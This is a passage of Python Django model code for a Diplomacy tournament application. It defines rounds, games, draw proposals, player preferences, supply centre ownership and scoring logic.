English power abbreviations\n the_string = the_string.upper()\n try:\n validate_preference_string(the_string)\n except ValidationError as e:\n raise InvalidPreferenceList from e\n # Remove any existing preferences for this player\n self.preference_set.all().delete()\n to_power = {}\n for p in GreatPower.objects.all():\n to_power[p.abbreviation] = p\n # Go through the string, creating Preferences\n with transaction.atomic():\n for i, c in enumerate(the_string, 1):\n Preference.objects.create(player=self, power=to_power[c], ranking=i)\n\n def prefs_string(self):\n \"\"\"\n Returns the preferences for this TournamentPlayer as a string.\n More-or-less the inverse of create_preferences_from_string().\n \"\"\"\n # TODO This returns the preference string in English\n ret = []\n for p in self.preference_set.all():\n ret.append(p.power.abbreviation)\n return ''.join(ret)\n\n def get_prefs_url(self):\n \"\"\"\n Returns the absolute URL to update the preferences for this\n TournamentPlayer.\n \"\"\"\n if not self.uuid_str:\n self._generate_uuid()\n if self.tournament.power_assignment == PowerAssignMethods.PREFERENCES:\n path = reverse('player_prefs',\n args=[str(self.tournament.id), self.uuid_str])\n else:\n raise InvalidPowerAssignmentMethod(self.tournament.power_assignment)\n return 'https://%(host)s%(path)s' % {'host': settings.HOSTNAME,\n 'path': path}\n\n def _generate_uuid(self):\n \"\"\"\n Populates the uuid_str attribute.\n \"\"\"\n self.uuid_str = str(uuid.uuid4())\n self.save()\n\n def get_absolute_url(self):\n \"\"\"Returns the canonical URL for the object.\"\"\"\n return reverse('tournament_player_detail', args=[str(self.tournament.id),\n str(self.id)])\n\n def __str__(self):\n return _('%(player)s at %(tourney)s') % {'tourney': self.tournament,\n 'player': self.player}\n\n def save(self, *args, **kwargs):\n is_new = self.pk is None\n # Default some attributes\n if is_new:\n # Only override if they haven't been provided\n if not self.backstabbr_username:\n self.backstabbr_username = self.player.backstabbr_username\n if not self.location:\n self.location = self.player.location\n if not self.unranked:\n self.unranked = (self.player.user is not None) and self.player.user.tournament_set.filter(pk=self.tournament.pk).exists()\n super().save(*args, **kwargs)\n # Update Player if things have changed\n if ((self.location != self.player.location) or\n (self.backstabbr_username != self.player.backstabbr_username)):\n self.player.location = self.location\n self.player.backstabbr_username = self.backstabbr_username\n self.player.save()\n # Update background info when a player is added to the Tournament (only)\n if is_new:\n send_prefs_email(self)\n add_player_bg(self.player, include_wpe=False)\n\n\nclass SeederBias(models.Model):\n \"\"\"\n Tell the game seeder to avoid putting two players in the same game.\n \"\"\"\n player1 = models.ForeignKey(TournamentPlayer,\n on_delete=models.CASCADE)\n player2 = models.ForeignKey(TournamentPlayer,\n on_delete=models.CASCADE,\n related_name='second_seederbias_set')\n\n class Meta:\n verbose_name_plural = 'Seeder biases'\n # Only one weighting per pair of players\n constraints = [\n models.UniqueConstraint(fields=['player1', 'player2'],\n name='unique_player_pair'),\n ]\n\n def clean(self):\n \"\"\"\n Validate the object.\n player1 != player2.\n All players are from the same Tournament.\n \"\"\"\n if self.player1 == self.player2:\n raise ValidationError(_('The players must differ'))\n if self.player1.tournament != self.player2.tournament:\n raise ValidationError(_('The players must be playing the same tournament'))\n\n def __str__(self):\n return _(\"%(p1)s and %(p2)s at %(tourney)s\") % {'p1': self.player1.player,\n 'p2': self.player2.player,\n 'tourney': self.player1.tournament}\n\n\nclass Preference(models.Model):\n \"\"\"\n How much a player wants to play a particular power.\n \"\"\"\n player = models.ForeignKey(TournamentPlayer, on_delete=models.CASCADE)\n power = models.ForeignKey(GreatPower, on_delete=models.CASCADE)\n ranking = models.PositiveSmallIntegerField(validators=[validate_ranking])\n\n class Meta:\n constraints = [\n # Each player can only have one ranking per power\n models.UniqueConstraint(fields=['player', 'power'],\n name='unique_player_power'),\n # Every ranking by a player must be unique\n models.UniqueConstraint(fields=['player', 'ranking'],\n name='unique_player_ranking'),\n ]\n # Highest-rank first\n ordering = ['ranking']\n\n def __str__(self):\n return _('%(player)s ranks %(power)s at %(rank)d') % {'player': self.player,\n 'power': self.power.name,\n 'rank': self.ranking}\n\n\nclass Round(models.Model):\n \"\"\"\n A single round of a Tournament\n \"\"\"\n tournament = models.ForeignKey(Tournament, on_delete=models.CASCADE)\n # How do we score games in this round ?\n # This is the name of a GameScoringSystem object\n # There have been tournaments using multiple scoring systems, one per round\n scoring_system = models.CharField(validators=[validate_game_scoring_system],\n max_length=GameScoringSystem.MAX_NAME_LENGTH,\n verbose_name=_(u'Game scoring system'),\n choices=get_scoring_systems(G_SCORING_SYSTEMS),\n help_text=_(u'How to calculate a score for one game'))\n dias = models.BooleanField(verbose_name=_(u'Draws Include All Survivors'))\n start = models.DateTimeField()\n final_year = models.PositiveSmallIntegerField(blank=True,\n null=True,\n validators=[validate_year])\n earliest_end_time = models.DateTimeField(blank=True, null=True)\n latest_end_time = models.DateTimeField(blank=True, null=True)\n enable_check_in = models.BooleanField(default=False,\n verbose_name=_(u'Enable self-check-ins'))\n email_sent = models.BooleanField(default=False)\n\n class Meta:\n ordering = ['start']\n constraints = [\n models.CheckConstraint(check=Q(final_year__gte=FIRST_YEAR) | Q(final_year__isnull=True),\n name='%(class)s_final_year_valid'),\n models.UniqueConstraint(fields=['tournament', 'start'],\n name='unique_tournament_start'),\n ]\n\n def game_scoring_system_obj(self):\n \"\"\"\n Return the GameScoringSystem for the Round.\n Can raise InvalidScoringSystem.\n \"\"\"\n # Find the scoring system to score games in this Round\n system = find_game_scoring_system(self.scoring_system)\n if not system:\n raise InvalidScoringSystem(self.scoring_system)\n return system\n\n def scores(self):\n \"\"\"\n Returns the scores for everyone who played in the round.\n Returns a dict, keyed by Player, of floats.\n \"\"\"\n retval = {}\n for p in self.roundplayer_set.all():\n retval[p.player] = p.score\n return retval\n\n def update_scores(self):\n \"\"\"\n Updates every RoundPlayer's score attribute.\n If the Round is ongoing, this will be the \"if all games ended now\" score.\n \"\"\"\n system = self.tournament.round_scoring_system_obj()\n # Identify any players who were checked in but didn't play\n gps = GamePlayer.objects.filter(game__the_round=self).distinct()\n non_players = self.roundplayer_set.exclude(player__in=[gp.player for gp in gps])\n scores = system.scores(gps, non_players)\n for rp in self.roundplayer_set.all():\n rp.score = scores[rp.player]\n rp.save()\n # That could change the Tournament scoring\n self.tournament.update_scores()\n\n def is_finished(self):\n \"\"\"\n Returns True if the Round has games, and they have all finished.\n Returns False otherwise.\n \"\"\"\n gs = self.game_set.all()\n if not gs:\n # Rounds with no games can't have started\n return False\n for g in gs:\n if not g.is_finished:\n return False\n return True\n\n def in_progress(self):\n \"\"\"\n Returns True if the Round has RoundPlayers (i.e. roll call has happened)\n or Games, and it hasn't finished.\n \"\"\"\n if not self.roundplayer_set.exists() and not self.game_set.exists():\n # Not yet started\n return False\n # Started, so in_progress unless already finished\n return not self.is_finished()\n\n def number(self):\n \"\"\"\n Which round within the tournament is this one ?\n \"\"\"\n rounds = self.tournament.round_set.all()\n for count, r in enumerate(rounds, 1):\n if r == self:\n return count\n raise AssertionError(\"Round doesn't exist within its own tournament\")\n\n def board_call_msg(self):\n \"\"\"\n Returns a message listing the boards, players, and powers for the Round,\n suitable for sending by email or posting to discord.\n \"\"\"\n text = 'Round %(number)d Board Call\\n\\n' % {'number': self.number()}\n return text + '\\n'.join([g.board_call_msg() for g in self.game_set.all()])\n\n def background(self, mask=MASK_ALL_BG):\n \"\"\"\n Returns a list of background strings for the round\n \"\"\"\n results = []\n if (mask & MASK_ROUND_ENDPOINTS) != 0 and self.earliest_end_time:\n results.append(_(u'Round %(round)d could end as early as %(time)s.')\n % {'round': self.number(),\n 'time': self.earliest_end_time.strftime(\"%H:%M\")})\n if (mask & MASK_ROUND_ENDPOINTS) != 0 and self.latest_end_time:\n results.append(_(u'Round %(round)d could end as late as %(time)s.')\n % {'round': self.number(),\n 'time': self.latest_end_time.strftime(\"%H:%M\")})\n if (mask & MASK_ROUND_ENDPOINTS) != 0 and self.final_year:\n results.append(_(u'Round %(round)d will end after playing year %(year)d.')\n % {'round': self.number(),\n 'year': self.final_year})\n # Shuffle the resulting list\n random.shuffle(results)\n return results\n\n def clean(self):\n \"\"\"\n Validate the object.\n Must have either both end times, or neither.\n \"\"\"\n if self.earliest_end_time and not self.latest_end_time:\n raise ValidationError(_(u'Earliest end time specified without latest end time'))\n if self.latest_end_time and not self.earliest_end_time:\n raise ValidationError(_(u'Latest end time specified without earliest end time'))\n\n def save(self, *args, **kwargs):\n \"\"\"\n Save the object to the database.\n Updates score attributes of any RoundPlayers and TournamentPlayers.\n \"\"\"\n super().save(*args, **kwargs)\n\n # Change may affect the scoring\n try:\n validate_round_scoring_system(self.tournament.round_scoring_system)\n except ValidationError:\n pass\n else:\n self.update_scores()\n\n def get_absolute_url(self):\n \"\"\"Returns the canonical URL for the object.\"\"\"\n return reverse('round_detail',\n args=[str(self.tournament.id), str(self.number())])\n\n def __str__(self):\n return _(u'%(tournament)s round %(round)d') % {'tournament': self.tournament,\n 'round': self.number()}\n\n\nclass Game(models.Model):\n \"\"\"\n A single game of Diplomacy, within a Round\n \"\"\"\n MAX_NAME_LENGTH=20\n MAX_NOTES_LENGTH=120\n\n name = models.CharField(max_length=MAX_NAME_LENGTH,\n validators=[validate_game_name],\n help_text=_(u'Must be unique within the tournament. No spaces'))\n started_at = models.DateTimeField(default=timezone.now)\n is_finished = models.BooleanField(default=False)\n is_top_board = models.BooleanField(default=False)\n the_round = models.ForeignKey(Round, verbose_name=_(u'round'), on_delete=models.CASCADE)\n the_set = models.ForeignKey(GameSet, verbose_name=_(u'set'), on_delete=models.CASCADE)\n external_url = models.URLField(blank=True,\n verbose_name=_('Backstabbr URL'),\n help_text=_('Will be included in board call emails and game page'))\n notes = models.CharField(max_length=MAX_NOTES_LENGTH,\n blank=True,\n help_text=_('Will be included in board call emails and game page'))\n\n class Meta:\n ordering = ['name']\n\n def backstabbr_game(self):\n \"\"\"\n Returns a backstabbr.Game for the Game, or None.\n \"\"\"\n try:\n return backstabbr.Game(self.external_url)\n except backstabbr.InvalidGameUrl:\n # external_url may be something other than a backstabbr URL\n pass\n return None\n\n def webdiplomacy_game(self):\n \"\"\"\n Returns a webdip.Game for the Game, or None.\n \"\"\"\n try:\n return webdip.Game(self.external_url)\n except webdip.InvalidGameUrl:\n # external_url may be something other than a WebDiplomacy URL\n pass\n return None\n\n def assign_powers_from_prefs(self):\n \"\"\"\n Assigns powers to the GamePlayers.\n The player with the lowest tournament score gets first choice,\n the player with the highest score gets whatever power nobody else wants.\n If players have the same score, they are ordered randomly.\n Raises PowerAlreadyAssigned if any GamePlayers already have assigned\n powers.\n \"\"\"\n position_to_gps = {}\n gps = self.gameplayer_set.all()\n # Find current tournament positions (and scores)\n ranks = self.the_round.tournament.positions_and_scores()[0]\n # Check for any GamePlayer that already has a power assigned\n # and find the interesting player positions\n for gp in gps:\n if gp.power:\n raise PowerAlreadyAssigned(str(gp) + ' is already assigned ' + str(gp.power))\n pos = ranks[gp.player][0]\n position_to_gps.setdefault(pos, []).append(gp)\n # Starting from the lowest rank, work through the whole list\n for pos in sorted(position_to_gps.keys(), reverse=True):\n # At each rank, order players randomly\n random.shuffle(position_to_gps[pos])\n for gp in position_to_gps[pos]:\n gp.set_power_from_prefs()\n\n # TODO: Rename this method?\n def check_whether_finished(self, year=None):\n \"\"\"\n Checks whether the Game has been soloed or drawn or the final_year has been reached.\n If so, sets is_finished to True.\n Should be called whenever CentreCounts for a year have been added.\n If year is not provided, uses the most recent year for the Game.\n \"\"\"\n if year is None:\n year = self.final_year()\n if (self.soloer() is not None) or (self.passed_draw() is not None) or (year == self.the_round.final_year):\n self.is_finished = True\n self.save()\n # CentreCounts may have changed, so re-calculate scores\n self.update_scores()\n\n def create_or_update_sc_counts_from_ownerships(self, year):\n \"\"\"\n Ensures that there is one CentreCount for each power for the\n specified year, and that the values match those determined by\n looking at the SupplyCentreOwnerships for that year.\n Sets self.is_finished if self.final_year has been reached or\n if the Game has been soloed.\n Can raise SCOwnershipsNotFound.\n \"\"\"\n all_scos = self.supplycentreownership_set.filter(year=year)\n if not all_scos.exists():\n raise SCOwnershipsNotFound('%d of game %s' % (year, str(self)))\n with transaction.atomic():\n for p in GreatPower.objects.all():\n CentreCount.objects.update_or_create(power=p,\n game=self,\n year=year,\n defaults={'count': all_scos.filter(owner=p).count()})\n self.check_whether_finished(year)\n\n def compare_sc_counts_and_ownerships(self, year):\n \"\"\"\n Compares the SupplyCentreOwnerships and CentreCounts for the given\n game year.\n Returns a list of strings describing any issues.\n Can raise SCOwnershipsNotFound.\n \"\"\"\n all_scos = self.supplycentreownership_set.filter(year=year)\n if not all_scos.exists():\n raise SCOwnershipsNotFound('%d of game %s' % (year, str(self)))\n retval = []\n for p in GreatPower.objects.all():\n sco_dots = all_scos.filter(owner=p).count()\n try:\n cc = CentreCount.objects.get(power=p,\n game=self,\n year=year)\n except CentreCount.DoesNotExist:\n retval.append(ngettext('Missing count of one centre for %(power)s',\n 'Missing count of %(dots)d centres for %(power)s',\n sco_dots)\n % {'dots': sco_dots,\n 'power': p})\n else:\n if cc.count != sco_dots:\n retval.append(ngettext('%(power)s owns one centre in %(year)d, but their centrecount is %(dots)d',\n '%(power)s owns %(sco_dots)d centres in %(year)d, but their centrecount is %(dots)d',\n sco_dots)\n % {'power': p,\n 'year': year,\n 'sco_dots': sco_dots,\n 'dots': cc.count})\n return retval\n\n def _calc_scores(self):\n \"\"\"\n Calculate the scores for the Game.\n Return value is a dict, indexed by power id, of scores.\n \"\"\"\n system = self.the_round.game_scoring_system_obj()\n tgs = TournamentGameState(self.centrecount_set.all())\n return system.scores(tgs)\n\n def scores(self):\n \"\"\"\n Returns the Game scores.\n Return value is a dict, indexed by power id, of scores.\n \"\"\"\n # If we have GamePlayers, and they have assigned powers,\n # we can just retrieve the scores from them\n gps = self.gameplayer_set.all()\n # Assume that if any GamePlayer has a power assigned, they all do\n if gps and gps.first().power:\n retval = {}\n players = self.gameplayer_set.all()\n for gp in players:\n if gp.power:\n retval[gp.power] = gp.score\n return retval\n return self._calc_scores()\n\n def update_scores(self):\n \"\"\"\n Calculates the scores for the game using the specified ScoringSystem,\n and stores them in the GamePlayers.\n Then calls the equivalent function for the Round this Game is in.\n \"\"\"\n scores = self._calc_scores()\n for gp in self.gameplayer_set.all():\n if gp.power:\n gp.score = scores[gp.power]\n gp.save()\n self.the_round.update_scores()\n\n def positions(self):\n \"\"\"\n Returns the positions of all the powers.\n Dict, keyed by power id, of integer rankings (1 for first place,\n 2 for second place, etc)\n \"\"\"\n result = {}\n last_score = None\n for i, (k, v) in enumerate(sorted([(k, v) for k, v in self.scores().items()],\n key=itemgetter(1),\n reverse=True),\n start=1):\n if v != last_score:\n place, last_score = i, v\n result[k] = place\n return result\n\n def is_dias(self):\n \"\"\"\n Returns whether the game is Draws Include All Survivors\n \"\"\"\n return self.the_round.dias\n\n def years_played(self):\n \"\"\"\n Returns a list of years for which there are SC counts for this game\n \"\"\"\n scs = self.centrecount_set.all()\n return sorted(list({sc.year for sc in scs}))\n\n def background(self, mask=MASK_ALL_BG):\n \"\"\"\n Returns a list of strings that give background for the game\n \"\"\"\n gps = self.gameplayer_set.all()\n results = []\n for gp in gps:\n results += gp.player.background(gp.power, mask=mask)\n # Shuffle the resulting list\n random.shuffle(results)\n return results\n\n def passed_draw(self):\n \"\"\"\n Returns either a DrawProposal if a draw vote passed, or None.\n \"\"\"\n # Did a draw proposal pass ?\n try:\n return self.drawproposal_set.get(passed=True)\n except DrawProposal.DoesNotExist:\n return None\n\n def board_toppers(self):\n \"\"\"\n Returns a list of CentreCounts for the current leader(s)\n \"\"\"\n current_scs = self.centrecount_set.filter(year=self.final_year()).order_by('-count')\n max_scs = current_scs[0].count\n first = current_scs.filter(count=max_scs)\n return list(first)\n\n def neutrals(self, year=None):\n \"\"\"How many neutral SCs are/were there ?\"\"\"\n if year is None:\n year = self.final_year()\n scs = self.centrecount_set.filter(year=year)\n if not scs.exists():\n raise InvalidYear(year)\n return TOTAL_SCS - scs.aggregate(Sum('count'))['count__sum']\n\n def final_year(self):\n \"\"\"\n Returns the last complete year of the game, whether the game is\n completed or ongoing\n \"\"\"\n return self.centrecount_set.all().aggregate(Max('year'))['year__max']\n\n def soloer(self):\n \"\"\"\n Returns either a GamePlayer if somebody soloed the game, or None\n \"\"\"\n try:\n sc = self.centrecount_set.get(count__gte=WINNING_SCS)\n except CentreCount.DoesNotExist:\n return None\n return self.gameplayer_set.get(power=sc.power)\n\n def survivors(self, year=None):\n \"\"\"\n Returns a list of the CentreCounts for the surviving powers.\n If a year is provided, it returns a list of the powers that survived\n that whole year.\n If a year is provided that is after the most recent year for which we have CentreCounts,\n the most recent list will be returned.\n If a year is provided for which there are no CentreCounts, an empty\n list will be returned.\n \"\"\"\n final_year = self.final_year()\n if year is None:\n year = final_year\n if year > final_year:\n year = final_year\n final_scs = self.centrecount_set.filter(year=year)\n return [sc for sc in final_scs if sc.count > 0]\n\n def board_call_msg(self):\n \"\"\"\n Returns a message listing the game name, players, and powers,\n suitable for sending by email or posting to discord.\n \"\"\"\n game_text = 'Board %(game)s:\\n' % {'game': self.name}\n if self.external_url:\n game_text += ' ' + self.external_url + '\\n'\n if self.notes:\n game_text += ' ' + self.notes + '\\n'\n for gp in self.gameplayer_set.order_by('power'):\n game_text += ' %(power)s: %(player)s' % {'power': gp.power or 'Power TBD',\n 'player': gp.player}\n if self.the_round.tournament.is_virtual():\n bs_un = gp.tournamentplayer().backstabbr_username\n if bs_un:\n game_text += ' (%(backstabbr)s)\\n' % {'backstabbr': bs_un}\n else:\n game_text += '\\n'\n else:\n game_text += '\\n'\n return game_text\n\n def result_str(self, include_game_name=False):\n \"\"\"\n Returns a string representing the game result, if any, or None\n \"\"\"\n if include_game_name:\n gn_str = ' %s' % self.name\n else:\n gn_str = ''\n # Did a draw proposal pass ?\n draw = self.passed_draw()\n if draw:\n powers = draw.powers()\n sz = len(powers)\n if sz == 1:\n retval = _(u'Game%(game)s conceded to ') % {'game': gn_str}\n else:\n retval = _(u'Vote passed to end game%(game)s as a %(n)d-way draw between ') % {'game': gn_str,\n 'n': sz}\n winners = []\n for power in powers:\n game_player = self.gameplayer_set.get(power=power)\n winners.append(_(u'%(player)s (%(power)s)') % {'player': game_player.player,\n 'power': _(power.abbreviation)})\n return retval + ', '.join(winners)\n # Did a power reach 18 (or more) centres ?\n soloer = self.soloer()\n if soloer:\n return _(u'Game%(game)s won by %(player)s (%(power)s) with %(dots)d centres') % {'game': gn_str,\n 'player': soloer.player,\n 'power': _(soloer.power.abbreviation),\n 'dots': soloer.final_sc_count()}\n # TODO Did the game get to the fixed endpoint ?\n if self.is_finished:\n gps = self.gameplayer_set.all()\n toppers = self.board_toppers()\n first_str = ', '.join([_(u'%(player)s (%(power)s)') % {'player': gps.get(power=scs.power).player,\n 'power': _(scs.power.abbreviation)} for scs in list(toppers)])\n return _(u'Game%(game)s ended. Board top is %(top)d centres, for %(player)s') % {'game': gn_str,\n 'top': toppers[0].count,\n 'player': first_str}\n # Then it seems to be ongoing\n return None\n\n def clean(self):\n \"\"\"\n Validate the object.\n Game names must be unique within the tournament.\n \"\"\"\n games = Game.objects.filter(the_round__tournament=self.the_round.tournament).distinct()\n for g in games:\n if (self != g) and (self.name == g.name):\n raise ValidationError(_('Game names must be unique within the tournament'))\n\n def save(self, *args, **kwargs):\n \"\"\"\n Save the object to the database.\n Ensures that 1901 SC counts and ownership info exists.\n Ensures that S1901M image exists.\n Updates score attributes of any associated GamePlayers, RoundPlayers, and TournamentPlayers.\n \"\"\"\n super().save(*args, **kwargs)\n\n # Auto-create 1900 SC counts (unless they already exist)\n # Auto-create SC Ownership (unless they already exist)\n with transaction.atomic():\n for power in GreatPower.objects.all():\n CentreCount.objects.get_or_create(power=power,\n game=self,\n year=FIRST_YEAR - 1,\n count=power.starting_centres)\n for sc in SupplyCentre.objects.filter(initial_owner=power):\n SupplyCentreOwnership.objects.get_or_create(owner=power,\n game=self,\n year=FIRST_YEAR - 1,\n sc=sc)\n\n # Auto-create S1901M image (if it doesn't exist)\n GameImage.objects.update_or_create(game=self,\n year=FIRST_YEAR,\n season=Seasons.SPRING,\n phase=Phases.MOVEMENT,\n defaults={'image': self.the_set.initial_image})\n\n # Change may affect the scoring\n try:\n validate_game_scoring_system(self.the_round.scoring_system)\n except ValidationError:\n pass\n else:\n self.update_scores()\n\n def get_absolute_url(self):\n \"\"\"Returns the canonical URL for the object.\"\"\"\n return reverse('game_detail',\n args=[str(self.the_round.tournament.id), self.name])\n\n def __str__(self):\n return _('%(game)s at %(tourney)s') % {'game': self.name,\n 'tourney': self.the_round.tournament}\n\n\nclass SupplyCentreOwnership(models.Model):\n \"\"\"\n Record of which GreatPower owned a given SupplyCentre\n at the end of a particular game year in a Game.\n \"\"\"\n game = models.ForeignKey(Game, on_delete=models.CASCADE)\n year = models.PositiveSmallIntegerField(validators=[validate_year_including_start])\n sc = models.ForeignKey(SupplyCentre, on_delete=models.CASCADE)\n owner = models.ForeignKey(GreatPower, on_delete=models.CASCADE)\n\n class Meta:\n constraints = [\n models.CheckConstraint(check=Q(year__gte=FIRST_YEAR-1),\n name='%(class)s_year_valid'),\n models.UniqueConstraint(fields=['sc', 'game', 'year'],\n name='unique_sc_game_year'),\n ]\n ordering = ['game', 'year']\n\n def __str__(self):\n return _(\"%(dot)s in %(game)s was owned by %(power)s at the end of %(year)d\") % {'dot': self.sc,\n 'game': self.game,\n 'power': self.owner,\n 'year': self.year}\n\n\nclass DrawProposal(models.Model):\n \"\"\"\n A single draw or concession proposal in a game\n \"\"\"\n game = models.ForeignKey(Game, on_delete=models.CASCADE)\n year = models.PositiveSmallIntegerField(validators=[validate_year])\n season = models.CharField(max_length=1, choices=Seasons.choices)\n passed = models.BooleanField(blank=True, null=True)\n proposer = models.ForeignKey(GreatPower,\n blank=True,\n null=True,\n related_name='+',\n on_delete=models.CASCADE)\n drawing_powers = models.ManyToManyField(GreatPower, related_name='+')\n votes_in_favour = models.PositiveSmallIntegerField(blank=True,\n null=True,\n validators=[validate_vote_count])\n\n class Meta:\n constraints = [\n models.CheckConstraint(check=Q(year__gte=FIRST_YEAR),\n name='%(class)s_year_valid'),\n models.CheckConstraint(check=Q(season__in=Seasons.values),\n name='%(class)s_season_valid'),\n models.UniqueConstraint(fields=['game'],\n condition=models.Q(passed=True),\n name='only one passed'),\n ]\n\n def draw_size(self):\n \"\"\"\n Returns the number of powers included in the DrawProposal.\n \"\"\"\n return self.drawing_powers.count()\n\n def powers(self):\n \"\"\"\n Returns a list of powers included in the draw proposal.\n \"\"\"\n return list(self.drawing_powers.all())\n\n def power_is_part(self, power):\n \"\"\"\n Returns a Boolean indicating whether the specified power is included.\n \"\"\"\n return self.drawing_powers.filter(pk=power.pk).exists()\n\n def votes_against(self):\n \"\"\"\n Returns the number of votes against the draw proposal.\n \"\"\"\n # Get the most recent CentreCounts before the DrawProposal\n scs = self.game.centrecount_set.filter(year__lt=self.year)\n survivors = scs.filter(count__gt=0).count()\n try:\n return survivors - self.votes_in_favour\n except TypeError as e:\n raise TypeError(_('This DrawProposal only has pass/fail, not vote counts')) from e\n\n def clean(self):\n \"\"\"\n Validate the object.\n Game must not yet have been won.\n Only living powers get to vote.\n Only one DrawProposal for a given Game can be successful.\n A successful DrawProposal for a Game cannot happen prior to any\n CentreCount.\n Dead powers cannot be included.\n If the Tournament has its draw_secrecy attribute set to SECRET,\n the passed attribute must be set.\n If the Tournament has its draw_secrecy attribute set to COUNTS,\n the votes_in_favour attribute must be set.\n \"\"\"\n final_year = self.game.final_year()\n if self.game.soloer() and (final_year <= self.year):\n raise ValidationError(_(u'Game was soloed in %(year)d'),\n params={'year': final_year})\n # Figure out how many powers are still alive\n survivors = len(self.game.survivors(self.year))\n if self.votes_in_favour and (self.votes_in_favour > survivors):\n raise ValidationError(_(u'%(voters)d voters exceeds %(survivors)d surviving powers') % {'voters': self.votes_in_favour,\n 'survivors': survivors})\n # Only one successful draw proposal\n if self.passed or (self.votes_in_favour == survivors):\n try:\n p = DrawProposal.objects.get(game=self.game,\n passed=True)\n if p != self:\n raise ValidationError(_(u'Game already has a successful draw proposal'))\n except DrawProposal.DoesNotExist:\n pass\n # No successful proposal prior to the latest SC count\n if (self.passed or\n (self.votes_in_favour == survivors)) and (self.year <= final_year):\n raise ValidationError(_(u'Game already has a centre count for %(year)d'),\n params={'year': final_year})\n # No dead powers included\n # We can only use drawing_powers after the pk has been set\n if self.pk is not None:\n # If DIAS, all alive powers must be included\n dias = self.game.is_dias()\n # Get the most recent CentreCounts before the DrawProposal\n scs = self.game.centrecount_set.filter(year__lt=self.year)\n # We will always have at least the 1900 CentreCounts, and DrawProposal.year must be >= 1901\n scs = scs.filter(year=scs.last().year)\n for sc in scs:\n if self.drawing_powers.filter(pk=sc.power.pk).exists():\n if sc.count == 0:\n raise ValidationError(_(u'Dead power %(power)s included in proposal'),\n params={'power': sc.power})\n else:\n if dias and sc.count > 0:\n raise ValidationError(_(u'Missing alive power %(power)s in DIAS game'),\n params={'power': sc.power})\n # Ensure that either passed or votes_in_favour, as appropriate, are set\n if self.game.the_round.tournament.draw_secrecy == DrawSecrecy.SECRET:\n if self.passed is None:\n raise ValidationError(_('Passed needs a value'))\n elif self.game.the_round.tournament.draw_secrecy == DrawSecrecy.COUNTS:\n if self.votes_in_favour is None:\n raise ValidationError(_('Votes_in_favour needs a value'))\n else:\n raise AssertionError('Tournament draw secrecy has an unexpected value %c' % self.game.the_round.tournament.draw_secrecy)\n\n def save(self, *args, **kwargs):\n if self.game.the_round.tournament.draw_secrecy == DrawSecrecy.COUNTS:\n # Derive passed from votes_in_favour and survivor count\n survivors = len(self.game.survivors(self.year))\n if self.votes_in_favour:\n # Votes must be unanimous\n self.passed = (self.votes_in_favour == survivors)\n # Ensure that we never save a second successful DrawProposal for a single Game\n # (ideally, we'd do this with database constraints, but we're not there yet)\n if self.passed and DrawProposal.objects.filter(game=self.game, passed=True).exclude(pk=self.pk).exists():\n raise ValidationError(_('Successful DrawProposal already exists for the Game'))\n super().save(*args, **kwargs)\n # Does this complete the game ?\n if self.passed:\n self.game.is_finished = True\n self.game.save()\n\n def __str__(self):\n return '%(game)s %(year)d%(season)s' % {'game': self.game,\n 'year': self.year,\n 'season': self.season}\n\n\nclass RoundPlayer(models.Model):\n \"\"\"\n A person who played a round in a tournament\n \"\"\"\n player = models.ForeignKey(Player, on_delete=models.CASCADE)\n the_round = models.ForeignKey(Round, verbose_name=_(u'round'), on_delete=models.CASCADE)\n standby = models.BooleanField(default=False,\n help_text=_('check if the player would prefer not to play this round'))\n score = models.FloatField(default=0.0)\n score_dropped = models.BooleanField(default=False,\n help_text=_('Set if this score does not contribute towards the tournament score'))\n game_count = models.PositiveIntegerField(default=1,\n help_text=_('number of games to play this round'))\n\n class Meta:\n ordering = ['player', 'the_round__start']\n constraints = [\n models.UniqueConstraint(fields=['player', 'the_round'],\n name='unique_player_round'),\n ]\n\n def score_is_final(self):\n \"\"\"\n Returns True if the score attribute represents the final score for the RoundPlayer,\n False if it is the \"if all games ended now\" score.\n \"\"\"\n if (self.score > 0.0) and isinstance(self.the_round.tournament.tournament_scoring_system_obj(),\n TScoringSumGames):\n # Any later rounds may change the score for this round\n return self.the_round.tournament.score_is_final()\n if self.the_round.is_finished():\n return True\n # If any of this player's game scores aren't final, the round score isn't final\n for gp in self.gameplayers():\n if not gp.score_is_final():\n return False\n return True\n\n def tournamentplayer(self):\n \"\"\"\n Returns the TournamentPlayer corresponding to this RoundPlayer.\n \"\"\"\n return self.player.tournamentplayer_set.get(tournament=self.the_round.tournament)\n\n def gameplayers(self):\n \"\"\"\n Returns a QuerySet for the corresponding GamePlayers.\n \"\"\"\n return self.player.gameplayer_set.filter(game__the_round=self.the_round).distinct()\n\n def clean(self):\n \"\"\"\n Validate the object.\n There must already be a corresponding TournamentPlayer.\n \"\"\"\n t = self.the_round.tournament\n if not self.player.tournamentplayer_set.filter(tournament=t).exists():\n raise ValidationError(_(u'Player is not yet in the tournament'))\n\n def delete(self, *args, **kwargs):\n ret = super().delete(*args, **kwargs)\n # Force a recalculation of scores, if necessary\n if self.score != 0.0:\n self.the_round.update_scores()\n return ret\n\n def __str__(self):\n return _(u'%(player)s in %(round)s') % {'player': self.player,\n 'round': self.the_round}\n\n\nclass GamePlayer(models.Model):\n \"\"\"\n A person who played a Great Power in a Game\n \"\"\"\n player = models.ForeignKey(Player, on_delete=models.CASCADE)\n game = models.ForeignKey(Game, on_delete=models.CASCADE)\n power = models.ForeignKey(GreatPower,\n null=True,\n blank=True,\n related_name='+',\n on_delete=models.CASCADE)\n score = models.FloatField(default=0.0)\n score_dropped = models.BooleanField(default=False,\n help_text=_('Set if this score does not contribute towards the round score'))\n after_action_report = models.TextField(blank=True,\n help_text=_(\"This player's account of the game\"))\n\n class Meta:\n ordering = ['game', 'power']\n constraints = [\n models.UniqueConstraint(fields=['player', 'game'],\n name='unique_player_game'),\n models.UniqueConstraint(fields=['power', 'game'],\n name='unique_power_game'),\n ]\n\n def score_is_final(self):\n \"\"\"\n Returns True if the score attribute represents the final score for the GamePlayer,\n False if it is the \"if the game ended now\" score.\n \"\"\"\n if self.game.is_finished:\n return True\n # Game is ongoing - is the player alive?\n if self.elimination_year():\n return not self.game.the_round.game_scoring_system_obj().dead_score_can_change\n return False\n\n def is_best_country(self):\n \"\"\"\n Returns True if this GamePlayer is the best result for this power (so far)\n \"\"\"\n # Check all the other players of this power in the tournament\n t = self.game.the_round.tournament\n gps = GamePlayer.objects.filter(power=self.power,\n game__the_round__tournament=t)\n if self.tournamentplayer().unranked:\n # If there are ranked GamePlayers of the same power,\n # they will rank ahead of this GamePlayer.\n # If they're all unranked, fall through to compare scores/dots\n tps = t.tournamentplayer_set.filter(unranked=False)\n for gp in gps:\n if tps.filter(player=gp.player).exists():\n return False\n if 